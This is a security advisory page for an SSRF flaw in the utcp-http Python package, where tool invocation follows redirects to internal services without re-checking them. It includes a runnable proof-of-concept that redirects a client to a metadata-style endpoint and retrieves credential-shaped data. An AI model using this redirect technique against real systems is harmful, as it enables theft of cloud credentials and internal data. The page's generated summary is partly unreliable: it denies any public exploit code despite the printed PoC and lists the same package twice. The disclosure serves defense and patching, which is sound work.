# GHSA-9qhg-99ww-9mqc: utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target

> Attacker-controlled HTTP tool endpoints can redirect UTCP clients to internal services, enabling SSRF and data exfiltration via unvalidated redirects.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 25 Aug 2026

## What is GHSA-9qhg-99ww-9mqc?

GHSA-9qhg-99ww-9mqc is a server-side request forgery vulnerability in utcp-http, published on 25 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

`HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.

This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.

## Root cause

1. The resolved URL is validated once, before the request:

https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281

2. The request is then made with aiohttp's default `allow_redirects=True` and no
   per-hop revalidation, so the redirect target bypasses the check entirely:

https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332

The validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.

## Reachability

Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.

## Preconditions

- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.
- The initial tool URL passes `ensure_secure_url` â€” trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`.
- The tool is invoked (`call_tool`) after registration.
- An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).
- The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.
- For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable.

## PoC

The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`.

Run: `pip install utcp-http==1.1.3 aiohttp && python poc.py`

```python
import asyncio, socket
from aiohttp import web
from utcp_http.http_communication_protocol import HttpCommunicationProtocol
from utcp_http.http_call_template import HttpCallTemplate

MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
          "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}

def lan_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
    finally: s.close()

async def main():
    internal = lan_ip()
    meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))
    mr = web.AppRunner(meta, access_log=None); await mr.setup()
    ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
    internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}"

    atk = web.Application()
    atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url}))
    ar = web.AppRunner(atk, access_log=None); await ar.setup()
    as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start()
    tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool"

    proto = HttpCommunicationProtocol()
    ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET")  # passes the validator
    result = await proto.call_tool(None, "lookup", {}, ct)                 # follows 302 -> internal
    print("caller received:", result)
    await ar.cleanup(); await mr.cleanup()

asyncio.run(main())
```

Output:

```
caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}
```

## Impact

Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.

## Possible fix

Disable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well.

## Patched

Fixed in `utcp-http` 1.1.4. `_security.py` now ships
`safe_request_with_redirects`, a per-hop revalidator that disables
aiohttp's auto-follow, runs `ensure_secure_url` on every `Location`
header before issuing the next hop, caps the chain at 5 hops, and drops
the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP
plugins use it for both `register_manual` and `call_tool`; SSE +
streamable handshakes additionally reject any 3xx outright because the
streaming response has to stay open for the lifetime of the call. The
OAuth2 token-fetch path uses the same helper, closing the
redirect-on-token-URL variant.

The sister TypeScript implementation `@utcp/http` is fixed the same way
in 1.1.4.

Upgrade to `utcp-http >= 1.1.4`. No workaround in earlier versions
short of disabling all attacker-influenced manuals.

## Which versions are affected by GHSA-9qhg-99ww-9mqc?

2 open source packages ship an affected version, including utcp-http.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `utcp-http` | PyPI | All versions | 1.1.4 |
| `utcp-http` | PyPI | All versions | 1.1.4 |

## How do I fix GHSA-9qhg-99ww-9mqc?

Upgrade utcp-http to 1.1.4 or later.

## Is GHSA-9qhg-99ww-9mqc being exploited?

There is no known exploitation of GHSA-9qhg-99ww-9mqc in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-9qhg-99ww-9mqc and fix it if it is affected.

What it is: GHSA-9qhg-99ww-9mqc is a server-side request forgery vulnerability in utcp-http, published on 25 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-9qhg-99ww-9mqc in the wild and no public exploit code.

Affected packages and fixed versions:
- utcp-http (PyPI): affected all versions; fixed in 1.1.4
- utcp-http (PyPI): affected all versions; fixed in 1.1.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/ (Markdown: https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-9qhg-99ww-9mqc

---
From sbomify Insights: https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/
Summaries are generated and may contain mistakes; the official description above is the record.
